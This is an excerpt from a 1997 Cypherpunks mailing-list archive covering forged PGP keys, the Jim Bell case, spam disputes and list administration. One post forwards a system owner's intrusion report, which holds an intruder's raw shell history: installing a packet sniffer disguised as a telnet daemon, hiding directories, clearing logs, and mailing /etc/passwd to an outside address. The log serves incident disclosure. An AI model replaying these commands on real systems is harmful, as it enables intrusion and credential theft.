On Fri, May 23, 1997 at 03:35:04PM -0400, lucifer Anonymous Remailer said:
>-----BEGIN PGP SIGNED MESSAGE-----
>
[clever forgery deleted]

>GovernmentMonger
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: 5.0 beta
>Charset: noconv
>
>iQCVAwUBM4XjSRpK214wNeaBAQExsgP/fh3tfF+dATYzYtETNEnDf1jn0aCkU7/r
>2BVORjdhBDGvOJLvJ/Yh1sHeaTNTiPPV/cv02nt0J+zf0V9RdYXXwGkjRaAXVSSA
>l5JgrN4XvCYEybUODvFsgXPcLY3p09L2QT4a4fIC264bfZLQuPmTSJqgPQDowSDB
>n4LKu727Dkg=
>=z3Er
>-----END PGP SIGNATURE-----
>
>-----BEGIN PGP PUBLIC KEY BLOCK-----
>Version: 5.0 beta
>
>mQCNAy/BlpsAAAEEAOfc0TkSKlc9TQbw4wYUpL+0YZ8rMXTGZOLUHJl5KZgGDHRR
>EiTtNcRB8Vl8psIT6GZ5FPu1VKduC3aaNuQEV9wKrXYzkmsMjtWIbYxsUZ9Rq/Vs
>6Sl4B3GSKPMudhlSuaGWUZxhVTPdn0eLUz9hlRz/kZR2opurmRpK214wNeaBAAUR
>tCBLZW50IENyaXNwaW4gPGtlbnRAc29uZ2JpcmQuY29tPokAlQMFEDOFUs2X26C5
>/DVozQEBR34D/2TzjEn8ING2PNdVB4K0Vy9HcXgKyKf81eACfxhC6J5cBr+MCUIj
>7xAbsj2556EBDJKf955Od5xIauPfx7woMb+b7eTJg3lOekar327jSEX1feAfYG+e
>yhgPid04U0FdkGpLhqMdc6qSXHCYcnD9RVw27x4np+eE/iiQVzy+SF5eiQCVAwUQ
>L8GYbBvasrrONMAdAQFExwP/UK82Y4+Q7E6q+P8RcC4wPcJEx1I5VAmBuBc3eI1T
>h+Lw3f4RdJ9eaK6ooip8GQ3SwLOiNRN3Mj0+K/7y+T2smP0wLpcP6IXqs4kO0v0e
>QGd2uz6dvtWWb02jMuaG6gyt2SqhJ/hgHzgF22RsqO5Wtk5N/W/oG0f6L3trjNPR
>hh8=
>=G7R+
>-----END PGP PUBLIC KEY BLOCK-----

Please note that the above key/sig is not mine.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 24 May 1997 15:13:39 +0800
To: cypherpunks@toad.com
Subject: Re: The Natives Are Getting Restless
Message-ID: <3.0.32.19970523233006.00731ae4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


some using Huge Cajones Remailer wrote:

>List members should be the first to rise above the base tactics of 
>the enemy. We need to develop a language of inclusion that unites all 
>of these seemingly disparate peoples against the common enemy.
..................................................


Typical collectivist thinking, the other side of  "good cop/bad cop".    

There is nothing wrong with having a separate identity.    Neither is there
a need to have a common enemy.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 24 May 1997 15:06:28 +0800
To: cypherpunks@toad.com
Subject: Re: Key Recovery / The True Story
Message-ID: <3.0.32.19970523234946.0072e5bc@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Ernest Hua wrote:

>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?
..................................................................


Is there a Universal Authority who can definitively answer questions like
this, so that we can know what is right/wrong and win philosophical debates?

Ask any person/organization, and they will provide the answer which they
feel comfortable with.   Those who choose to uphold certain standards of
behavior will reply in reference to a concern for the violation of these
ideals; those who only deal with action in practical cause/effect scenarios
will reply in terms of their immediate concerns for physical safety from
terrorists wherever/however one may route them.

Some people's perspectives are short & narrow, some people see things in a
larger, integrated context.  Each will answer according to their ability to
evaluate antecedents & consequents.   Eventually, one must decide for
oneself what one will choose to live with, to tolerate.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 24 May 1997 12:58:57 +0800
To: cypherpunks@algebra.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <3.0.1.32.19970524004852.006eee08@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:58 PM 5/23/97 -0700, Tim May wrote:
>
>So, I think Bell is in serious trouble on several charges: the tax evasion
>charges, the SS number charges (which may be subsumed in the tax charges),
>and the "stink bomb" charges.
>
>The other various claims and charges in the complaint, things like the
>anti-government essays and the "assault" rifles found, don't seem likely to
>go anywhere.

Agreed.  As we all know, tax evasion charges have been used by the IRS when
the FBI has felt that it is unable to prove other charges.  Its use against
organized crime is a prime example.

While I do not practice in Fed'l courts, in state courts the specific statute
that a defendant is accused of violating must be cited.  Hence, since I am
not familiar with federal complaints, I did note with curiousity that Bell's
complaint specifically cites statutes that Bell allegedly violated regarding
the SS number charges and the failure to file income tax returns.  Perhaps,
the other acts, wherein no specific statutes are alleged to have been
violated, are mentioned as a means to make a showing that Bell is a danger to
the community and, therefore, a factor for asking the magistrate to set no
bail.

>Whether disappointingly or with relief, I noticed no mention of
>"Cypherpunks," a name which surely would have been scattered amongst the
>various documents on his computer.

I would be, however, very surprised if it was *not* "scattered amongst the
various documents on his computer."

>We'll see what comes up during the trial.

If there is one.  As you stated above and IMHO based upon what I have read,
the IRS has a strong case regarding the SS numbers/tax evasion charges.  This
matter may very well be resolved via a plea bargain.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM4Zy/T5A4+Z4Wnt9AQF36QQAqeXTM1r67b/zN3mK9UFzFnuXUVjNPXVs
m4/kbZgJQIZjgxd+aw+fqweu8HbGnrxIhS6VXJqaaoJHsYG+BomAXaaiyP2oUaGJ
A0r5mlcoEw3SvXMJPzBDiQJ9fW75Y8pktFQYO4G+Wm0RfEnvFR8zkdqDtET7nkTp
ME3YrkYFJLM=
=b3MR
-----END PGP SIGNATURE-----


*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 13:59:03 +0800
To: cypherpunks@manifold.algebra.com
Subject: Too few cypherpunks nodes.
Message-ID: <199705240549.AAA11795@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ladies and Gentlemen,

As the time goes on and I see what is happening inside and outside our
list, I am getting increasingly concerned about the small number of hosts
in the cypherpunks network.

Practically, most of the people use only two nodes, Kent's and mine, and
thanks to Jim, we have three operating ones. I do not believe that it is
good enough.

If anyone has any creative idea of how to get a couple more reliable
nodes, please share it.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 24 May 1997 16:13:58 +0800
To: Cypherpunks@toad.com
Subject: Re: Geiger learns to read (was Re: spam is a good thing)
In-Reply-To: <19970522144701.16280@bywater.songbird.com>
Message-ID: <19970524005533.59448@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 08:29:59AM -0500, William H. Geiger III wrote:
>In <19970522144701.16280@bywater.songbird.com>, on 05/22/97 
>   at 03:47 PM, Kent Crispin <kent@songbird.com> said:
[...]
>>Your analogy is flawed in many ways.  1) The entities entering your 
>>house have an identity; what is actually entering your computer 
>>equipment is just bits, which have no identity.  Spamfords bits are  no
>>different than anyone elses.  2) By the very act of connecting to  the
>>network you agree to recieve any bits that are automatically  routed to
>>you.

Note the "automatically routed" clause.

>No not at all. Just because I am connected to the network I am under no
>obligation to accept a single bit.

The only way you can really accomplish that is to disconnect.  The 
interface/modem/whatever in your computer blindly receives the bits that 
are sent to it.  There isn't a thing you can do about it except 
disconnect.  (I consider turning your machine off as disconnecting.)

[...]
>Obviously you have not ever entered into contract agreements with an
>accesses provider.

Jeez.  I *am*, in my small way, an access provider.  And, of course, 
I have a contract with my upstream.

>There is no obligation on my part to receive a single
>bit.

You don't read very well, do you?  I said "automatically routed 
bits".  You can't stop receiveing those bits unless you turn your 
machine off.

>If I never run a sendmail daemon then I will never receive a single
>e-mail message regardless of how many are aimed at my servers. This is the
>same with any TCP/IP service.

Yes, because the network layer negotiation doesn't complete the 
connection, and the other side agrees to stop sending.  Basically, you 
have convinced the other side to stop sending.  You still receive any bits 
on the wire, and the only way you can stop that is by disconnecting.

>The only obligation I have with my upstream
>provider is to pay my bill. If I choose to bounce everything that is
>routed from Spamford it is my right to do so as it is *MY* equipment.

Good, though trivial, point.  Not what I was talking about, though.

[...]

>>Identification isn't the problem at all.  The problem is that you  have
>>no grounds on which to base a suit.  Just as you can't sue me for 
>>sending this mail -- it's an exchange you entered into of your own  free
>>will.
>
>For the occasional spam then a lawsuit would be pointless. If you decided
>to dump 10,000 messages a day and deny the use of my equipment by myself
>and my clients then I would have a very strong case for litigation. You
>seem to forget that this is MY equipment and it is you who have no rights
>regarding the use of it. I have the final say so as to who uses it and
>how.

[...]

>>All flawed analogies.  You *did* agree to recieve mail -- in fact,  that
>>is one of the primary uses of your computer -- and you did *not*  place
>>any restrictions on that connection.  Furthermore, you can't -- 
>>no one will sell you an internet connection at any level where they 
>>will accept a contractual obligation to keep spam from getting to you.
>
>Once again it is you who have it wrong. I have agreed to nothing other than to >pay my bill for my connection. If Cyberpromo starts filling my clients mailboxe>s with spam and tieing up bandwidth I am under an obligation to my client to st>op him from doing so. My obligation is to my clients to provide the services th>ey have paid for. I would be remiss in my duties if I allowed such actions to c>ontinue both to my contractual obligations to my clients but also my feudatory 

You mean "fiduciary", I presume.  But "feudatory" is cute.

>responsibilities to the stockholders of my corporation.

Recall that -- what is it? CyberPromo -- sued AOL, and forced them to 
not block their spam...though I guess AOL was able to give their 
customers the ability to block, and there was an appeal -- I don't 
remember the details anymore...

>You do not have a right to send mail to my system I have an obligation to my cl>ients to allow them to receive mail. This is a important distinction that needs> to be made. You have no rights regarding the use of my equipment. Furthermore >if your actions deprive the use of my equipment by myself and my clients you ca>n find yourself both financially and criminally liable.

I agree that if I flood your box with the intent of denying service I 
would be liable.  That's not the normal mode of spammers, though.  
As an individual you only receive one or a very few copies of a 
particular message.  It's just that there are a great many messages.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 14:05:33 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: System Attack & FBI (fwd)
In-Reply-To: <199705240433.XAA22417@einstein.ssz.com>
Message-ID: <199705240556.AAA11857@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim,

I was almost in tears as I was reading your logs.

Instead of simply asking your users to change passwords (always a great 
idea!) please let them know that multiuser Unix systems never offer any
real security or privacy to the users.

I hope that the hacker did not leave any other trojans besides rogue Apache
and in.telnetd.

igor

Jim Choate wrote:
> 
> Hi,
> 
> For your amusement.
> 
>                                        Jim Choate
>                                        CyberTects
>                                        ravage@ssz.com
> 
> 
> Forwarded message:
> > From ravage@ssz.com Fri May 23 23:28:29 1997
> > From: Jim Choate <ravage@ssz.com>
> > Message-Id: <199705240428.XAA22380@einstein.ssz.com>
> > Subject: System Attack & FBI
> > To: users@einstein.ssz.com
> > Date: Fri, 23 May 1997 23:28:27 -0500 (CDT)
> > Cc: staff@einstein.ssz.com
> > X-Mailer: ELM [version 2.4 PL23]
> > Content-Type: text
> > Content-Length: 7477      
> > 
> > 
> > Hi,
> > 
> > As you will see below I have been tracking a waskelly wabbit for the last
> > few weeks. I apologize for any interference with your access but I could
> > not let it go without some sort of responce.
> > 
> > I *STRONGLY* advise you to change your password immediately.
> > 
> > I do not expect anyone other than myself to have to talk with the FBI.
> > 
> > If you have any questions please feel free to email me.
> > 
> >                                                  Jim Choate
> >                                                  CyberTects
> >                                                  ravage@ssz.com
> > 
> > 
> > Forwarded message:
> > 
> > > From rberger@rberger.com Fri May 23 23:13:34 1997
> > > Message-Id: <3.0.1.32.19970523234327.006eefec@rberger.com>
> > > X-Sender: rberger@rberger.com
> > > X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
> > > Date: Fri, 23 May 1997 23:43:27 -0500
> > > To: Jim Choate <ravage@einstein.ssz.com>
> > > From: rberger <rberger@rberger.com>
> > > Subject: Re: You have a hacker!
> > > In-Reply-To: <199705240343.WAA22299@einstein.ssz.com>
> > > Mime-Version: 1.0
> > > Content-Type: text/plain; charset="us-ascii"
> > > 
> > > Thank you very much for sending us an e-mail and your logs.   We are going
> > > through
> > > our FTP logs at this time.   Although initial results don't show
> > > corresponding ftps at these
> > > times or files.     Although a week ago we were fighting a hacker using the
> > > a same
> > > techquies as shown by the telnet sessions.   So we will be monitoring
> > > everything very
> > > closely here for a few more days.  Our next search will be the accounts
> > > logged in on
> > > these ports at the times given.   We have been working with the FBI, along
> > > with several
> > > other ISP's in Dallas.   If you capture any other logs please send them
> > > again to
> > > root@applink.net.   If you dont hear anything from us in less than 24 hours
> > > please re-send
> > > your e-mail message again to my domain rberger@rberger.com just in case the
> > > root e-mail/logs are being monitored & modified.
> > > 
> > > Regards,
> > > 
> > > Randall Berger,  CEO
> > > AppLink Corporation
> > >  
> > > 
> > > At 10:43 PM 5/23/97 -0500, you wrote:
> > > >
> > > >Hello,
> > > >
> > > > 
> > > > My name is Jim Choate, I own and operate CyberTects a small office - home
> > > > office consultancy in Austin, TX. Over the last couple of weeks I have been
> > > > tracking an intrusion on my system that has involved your systems. I would
> > > > appreciate any help you can provide in resolving this issue.
> > > > 
> > > > I believe a home account for the perp is dkny007@hotmail.com
> > > > 
> > > > I will attach below the relevant files.
> > > > 
> > > > 
> > > >                                                     Jim Choate
> > > >                                                     CyberTects
> > > >                                                     ravage@ssz.com
> > > > 
> > > >  --------------------------------------------------------------------------
> > > > 
> > > > bbixler   ttyp0        app42-73.applink Fri May 23 16:04 - 16:06  (00:01)
> > > > bbixler   ttyp0        app42-75.applink Fri May 23 00:21 - 00:28  (00:07)
> > > > bbixler   ttyp0        app42-90.applink Thu May 22 13:33 - 13:37  (00:03)
> > > > bbixler   ttyp0        app41-50.applink Wed May 21 20:01 - 20:31  (00:30)
> > > > bbixler   ttyp0        app41-47.applink Wed May 21 19:53 - 19:54  (00:00)
> > > > bbixler   ttyp0        app42-85.applink Wed May 21 18:46 - 19:00  (00:14)
> > > > bbixler   ttyp0        app42-75.applink Wed May 21 10:39 - 10:40  (00:00)
> > > > bbixler   ttyp0        app41-52.applink Sun May 18 23:04 - 23:11  (00:07)
> > > > bbixler   ttyp1        app42-78.applink Sat May 17 18:46 - 18:49  (00:02)
> > > > bbixler   ttyp1        app42-67.applink Sat May 17 01:22 - 01:26  (00:03)
> > > > bbixler   ftp          fw6-10.ppp.iadfw Wed May 14 22:27 - 22:28  (00:01)
> > > > bbixler   ttyp1        app42-94.applink Tue May 13 16:12 - 16:18  (00:05)
> > > > bbixler   ttyp0        app42-85.applink Mon May 12 17:02 - 17:05  (00:02)
> > > > bbixler   ttyp0        app42-73.applink Sun May 11 12:29 - 12:36  (00:07)
> > > > bbixler   ttyp0        app42-71.applink Sat May 10 20:15 - 20:17  (00:01)
> > > > bbixler   ttyp0        app42-71.applink Sat May 10 19:40 - 19:50  (00:09)
> > > > bbixler   ttyp0        max2-800-04.eart Wed Feb 12 18:05 - 18:06  (00:00)
> > > > 
> > > > wtmp begins Sun Feb  2 16:36 
> > > > 
> > > >  --------------------------------------------------------------------------
> > > > 
> > > > whoami
> > > > ls
> > > > mv perl-ex.sh /tmp/.bgg
> > > > mkdir /tmp/.bg
> > > > cd /tmp
> > > > cd .bg
> > > > ls
> > > > lynx
> > > > ls
> > > > gcc linsniffer.c 
> > > > ls
> > > > ps
> > > > who
> > > > w
> > > > ps aux
> > > > a.out &
> > > > ls
> > > > ifconfig
> > > > /sbin/ifconfig
> > > > ls
> > > > tail -f tcp.log 
> > > > free
> > > > ls
> > > > cat tcp.log 
> > > > cd ..
> > > > ls
> > > > w
> > > > cd
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > cd /etc
> > > > ls
> > > > minicom
> > > > cd ..
> > > > ls
> > > > cd cdrom.
> > > > cd cdrom
> > > > ls
> > > > cd ..
> > > > cd
> > > > ls
> > > > cd bin
> > > > ls
> > > > cd ..
> > > > cd ..
> > > > ls
> > > > w
> > > > finger
> > > > cd Pphantom
> > > > cat /etc/passwd | grep Pphantom
> > > > cd phantom
> > > > ls
> > > > ls -al
> > > > cat .bash_history 
> > > > cd /etc
> > > > cat hosts
> > > > ls
> > > > cd /tmp
> > > > cd .bg
> > > > cat tcp.log 
> > > > exit
> > > > cd .bg
> > > > ls
> > > > w
> > > > ls
> > > > ls -al
> > > > cat tcp.log 
> > > > ifconfig
> > > > /sbin/ifconfig
> > > > ls
> > > > exit
> > > > mv x.sh /tmp
> > > > cd .bg
> > > > ls
> > > > cd /tmp
> > > > ls
> > > > mv x.sh .bg
> > > > cd .bg
> > > > ls
> > > > kill -9 14523
> > > > ps aux
> > > > mv a.out in.telnetd
> > > > ls
> > > > rm tcp.log 
> > > > ./in.telnetd &
> > > > exit
> > > > pico tcp.log 
> > > > ls
> > > > ps aux
> > > > kill -9 16282
> > > > ls
> > > > ./in.telnetd &
> > > > exit
> > > > cat /dev/null > tcp.log
> > > > w
> > > > exit
> > > > pico tcp.log 
> > > > ls
> > > > ls -al
> > > > cd /etc
> > > > cat passwd
> > > > mail dkny007@hotmail.com < passwd
> > > > exit
> > > > w
> > > > ls -al
> > > > pico tcp.log 
> > > > echo /dev/null > tcp.log 
> > > > ls -al
> > > > ps aux
> > > > quit
> > > > exit
> > > > id
> > > > w
> > > > ftp 
> > > > ls
> > > > mkdir /home/ftp/.tmp
> > > > mkdir /home/ftp/.tmp/.sub
> > > > mv linsniff /home/ftp/.tmp/.sub/
> > > > cd /home/ftp/.tmp/.sub/
> > > > mv linsniff in.te1netd
> > > > ls -l
> > > > chmod 755 in.te1netd 
> > > > in.te1netd &
> > > > ps
> > > > ps aux
> > > > killall in.te1netd
> > > > ls
> > > > ls -a
> > > > ls -l
> > > > in.te1netd &
> > > > /home/ftp/.tmp/.sub/in.te1netd
> > > > /home/ftp/.tmp/.sub/in.te1netd
> > > > ls -s
> > > > rm in.te1netd 
> > > > cd
> > > > ls
> > > > mv hello .h311o
> > > > ftp 
> > > > ls
> > > > mv linsniffer.c /home/ftp/.tmp/.sub/
> > > > cd /home/ftp/.tmp/.sub
> > > > ls
> > > > cc linsniffer.c 
> > > > mv a.out in.te1netd
> > > > chmod 755 in.te1netd 
> > > > ls
> > > > rm linsniffer.c 
> > > > in.te1netd &
> > > > exit
> > > > cd ..
> > > > mv apache.tgz .bg
> > > > cd .bg
> > > > ls
> > > > tar xfvz apache.tgz 
> > > > cd apache_1.2b10/
> > > > ls
> > > > cd src
> > > > make
> > > > ls
> > > > ./Configure 
> > > > make
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd cgi-bin/
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > ls
> > > > w
> > > > rm -rf apache*
> > > > lynx
> > > > ls
> > > > tar xfvz apache_1.1.3.tar.gz 
> > > > cd apache_1.1.3
> > > > ls
> > > > cd src
> > > > ls
> > > > ./Configure 
> > > > make
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > ls
> > > > rm -rf apache_1.1.3
> > > > ls
> > > > rm -rf apache_1.1.3.tar.gz 
> > > > w
> > > > exit
> > > > kill -9 14551
> > > > ls
> > > > ls -al
> > > > cd ..
> > > > ls
> > > > cd /home
> > > > ls
> > > > cd ftp
> > > > ls -al
> > > > cd .tm[p
> > > > cd .tmp/
> > > > ls
> > > > ls -al
> > > > cd .sub/
> > > > ls
> > > > rm *
> > > > cd ..
> > > > cd ..
> > > > rm -rf .tmp/
> > > > ls
> > > > cd
> > > > ls
> > > > cd /root
> > > > ls
> > > > cd ssz
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd pgp
> > > > ls
> > > > cd ..
> > > > cd etc
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd /
> > > > ls
> > > > exit
> > > > id
> > > > crontab -e
> > > > ls
> > > > vi .sub
> > > > crontab -e
> > > > ls
> > > > cat /home/ftp/.tmp/.sub/tcp.log
> > > > ps aux
> > > > who
> > > > cd /home/ftp
> > > > ls -a
> > > > mkdir .tmp/.sub
> > > > mkdir .tmp
> > > > cd .tmp
> > > > exit
> > > > cd
> > > > ls
> > > > cd /root
> > > > ls
> > > > cd khg-0.5/
> > > > ls
> > > > cd ..
> > > > cat .bash_history 
> > > > ls
> > > > cd /etc
> > > > ls
> > > > cat hosts
> > > > exit
> > > > 
> > > >
> > > >
> > > >
> > > 
> > 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 24 May 1997 17:02:20 +0800
To: ichudov@algebra.com
Subject: Re: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705232305.SAA08354@manifold.algebra.com>
Message-ID: <199705240001.BAA03399@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> Adam Back wrote:
> > Igor Chudov <ichudov@algebra.com> writes:
> > >
> > > plz do not use bcc
> > 
> > Why not?  It is quite convenient for coping with the non-cross posting
> > policy of other groups.
> > 
> > Also what is it with the <cpunks@manifold.algebra.com> forwards, why
> > are these coming to the list forwarded from that address?  Are they
> > things which failed your procmail filter manually forwarded
> > afterwards?
>
> the answer is that it happens because of my spam filter for cypherpunks.
> 
> you would not believe how much spam it catches... and bogus mailing
> lists that cypherpunks were sub-scri-bed to...
> 
> the theory behind it is that if something was not sent to cypherpunks
> explicitly, it most likely does not belong there.
> 
> naturally, I DO forward all stuff that belongs there to the list.

I see.

Any chance you could fix the forwards up so they look like normal
posts?  Maybe stuff them into a file which procmail picks up without
doing the spam check?

I'm not sure why someone would want to do a Bcc
cypherpunks@algebra.com and Cc coderpunks@toad.com because (if I have
this right) it'll be cypherpunks which sees the Cc coderpunks, and
people on cypherpunks will auto-repy to coderpunks, which is the
opposite of what people on coderpunks want.  What people should do is
Bcc coderpunks (or cryptography) for this purpose.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 24 May 1997 16:30:21 +0800
To: cypherpunks@toad.com
Subject: Re: The Bell Plan
Message-ID: <199705240808.CAA13533@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 03:35:04PM -0400, lucifer Anonymous Remailer
said:
>
[clever forgery deleted]

>GovernmentMonger
>
>-----BEGIN PGP PUBLIC KEY BLOCK-----
>Version: 5.0 beta
>
>mQBtAzMlqw8AAAEDALc9qKk3L2AH9k8wEtwX5R6VkBj3jdqWmCUVB7STqtsE2jpv
>3QzrbNi2GShGjiYxMv1jef7K6cA83sk3rrXhL0h8l3vx2mIN1j/XNb/ifdsbScP/
>VZyZEXJMg3KGKsoHoQAFEbQgS2VudCBDcmlzcGluIDxrZW50QHNvbmdiaXJkLmNv
>bT4=
>=Nj/m
>-----END PGP PUBLIC KEY BLOCK-----

Please note that the above key is not mine.

--
Kent Crispin                            "No reason to get excited",
kent@songbird.com                       the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 24 May 1997 16:10:43 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
Message-ID: <199705240750.DAA16059@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> William Geiger wrote:
> 
> >After reading the complaint I have to say that with friends like that
> >who needs enemies?
> 
> True, if that's what the friends actually said, and if they were
> not induced to do so by being fed lethal information: don't
> go down with Bell, protect yourself, spill your guts.
> 
> Turning friends against friends is pretty common in
> investigations, using threats and promises of relief
> from possible charges, even saying that your friend is
> squealing on you.

  I have mostly lurked on the list for several years without doing very
much posting. I am employed in an area of law enforcement where I don't
get involved with the the darker side of the process but I often listen
to others who talk about various methods they use to make a case against
somebody they have decided to "get."
  It is well known that if the information provided in an initial
interview of a potential witness is not damaging enough that veiled
threats implying the person being interviewed will be going along for
the ride is enough to induce them to spill whatever beans the
investigator is after.
  I recognize the need to lean on those who are witholding needed
information but the method is often used to trump up the most outrageous
accusations and manufactured evidence imaginable. Add to this the fact
that most of us have at some point made statements that we would like to
"kill" a certain individual and similar off the cuff statements and
almost anyone can look very guilty of almost anything.
  Since I initially recognized the federal action against Mr. Bell as an
all out effort to get him no matter what the cost I was not surprised to
see that the first interviews with his friends were fairly tame material
and the second interviews were very damaging to Mr. Bell. Once you put
enough fear into people their memories become very creative.
 
> I was struck by how similar some remarks attributed to
> Bell were to those attributed to McVeigh, not that they
> were not made, but that the investigators chose to
> select just those to indicate lethal intent.

  I have worked with a sufficient volume of evidence in all manner of
cases that I am convinced that any paramilitary or military type of
person could be arrested and one would be able to duplicate much of the
evidence that is being introduced in the McVeigh case. I think that if
McVeigh and Bell traded places that each would still be convicted of
some of the charges against them. I have seen carnivorous prosecuters
turn totally ambiguous evidence into a smoking gun against very average
people even without the ferocious intent that the government has in the
McVeigh and Bell cases to produce a conviction at any cost.
 
> The IRS searching the Internet for incriminating advocacy
> is a warning of what's to come, as often predicted here.

  In my time on the list I have noticed that and it was particularly
brought home to me when I read the story posted to the list called
"Webworld and the Circle of Unuchs." I think the author must be one of
the list spooks because the connections he makes or makes up are
strikingly similar to those which would be conjectured by a good
evidentiary analyst.
  I used to print cypherpunk posts for a fellow employee who works
computer crime cases and he would demean them because they weren't
technical enough for his taste. Now he follows the list religiously
because it lets him know whats going on and where things are going with
privacy and encryption.

> Time to study and ponder the 1st Amend -- which, by the way,
> Matt Blaze did at the NYC crypto forum last night to challenge
> Charney and Denning. Matt pulled out a copy and cited
> it, which may be a good indication of what he knows that
> we don't about what's coming.

  What I learn on my job is a world apart from the publics perception of
what goes on in law enforcement. It is scary to realize how many people
suffer terribly just because they are so trusting in the system when the
system doesn't really care in many cases. I am certain that it must be
just as true and more at higher levels of government where we see and
know so little of what really takes place behind the scenes.
  If I had to work in an area of law enforcement where I faced pressure
to do many of the things that others do to produce convictions I don't
think I would last very long. At least I hope I wouldn't.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 24 May 1997 19:18:33 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <3.0.2.32.19970524065907.037eb0fc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:37 PM 5/23/97 -0400, John Young wrote: 
>We offer the May 16 complaint against Jim Bell: 
> 
>   http://jya.com/jimbell3.htm 
> 
>The complaint draws upon previous search warrants 
>at Greg Broiles's site: 
> 
>   http://www.parrhesia.com/jimbell/ 

"Beginning at a time unknown, and continuing to the present, at Vancouver, within the Western District of Washington and elsewhere, JAMES DALTON BELL did corruptly obstruct and impede and endeavor to obstruct and impede the due administration of the internal revenue laws, among other things, by collecting the names and home addresses of agents and employees of the Internal Revenue Service ("IRS") in order to intimidate them in the performance of their official functions;"

Maybe he just wanted their addresses so he could "petition the government for redress of greivances."  Isn't it legal to picket the homes of government employees?

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 20:10:14 +0800
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705240001.BAA03399@server.test.net>
Message-ID: <199705241203.HAA13929@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam Back wrote:
> Igor Chudov <ichudov@algebra.com> writes:
> > Adam Back wrote:
> > > Igor Chudov <ichudov@algebra.com> writes:
> > > >
> > > > plz do not use bcc
> > > 
> > > Why not?  It is quite convenient for coping with the non-cross posting
> > > policy of other groups.
> > > 
> > > Also what is it with the <cpunks@manifold.algebra.com> forwards, why
> > > are these coming to the list forwarded from that address?  Are they
> > > things which failed your procmail filter manually forwarded
> > > afterwards?
> >
> > the answer is that it happens because of my spam filter for cypherpunks.
> > 
> > you would not believe how much spam it catches... and bogus mailing
> > lists that cypherpunks were sub-scri-bed to...
> > 
> > the theory behind it is that if something was not sent to cypherpunks
> > explicitly, it most likely does not belong there.
> > 
> > naturally, I DO forward all stuff that belongs there to the list.
> 
